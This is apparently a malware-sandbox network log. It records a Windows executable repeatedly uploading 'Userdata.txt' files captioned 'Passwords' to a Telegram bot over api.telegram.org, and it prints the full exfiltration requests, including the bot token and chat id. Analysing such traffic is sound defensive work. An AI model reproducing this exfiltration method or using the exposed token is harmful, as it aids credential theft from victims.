2025-01-10 22:12:14 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3247c90beef3 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:14 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 37 63 39 30 62 65 65 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3247c90beef3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:14 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:14 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44794,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547134,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49998	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:16 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd325ad854f9ca Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:16 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 61 64 38 35 34 66 39 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd325ad854f9caContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:16 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:17 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44795,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547136,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	50000	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:18 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3275fbf52428 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:18 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 37 35 66 62 66 35 32 34 32 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3275fbf52428Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:18 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:18 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 33 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44796,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547138,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	50002	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:20 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3288eb61d7c5 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 38 65 62 36 31 64 37 63 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3288eb61d7c5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:20 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:20 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 34 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44797,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547140,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	50004	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:21 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd329a73bbadd4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 61 37 33 62 62 61 64 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd329a73bbadd4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:21 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:21 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44798,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547141,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	50006	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:23 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32aea0643760 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 61 65 61 30 36 34 33 37 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32aea0643760Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:23 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:23 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 34 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44799,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547143,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	50008	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:25 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32cc1b350f07 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 63 63 31 62 33 35 30 66 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32cc1b350f07Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:26 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:26 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44800,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547146,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	50010	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:27 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32e17780006a Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 65 31 37 37 38 30 30 30 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32e17780006aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:27 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
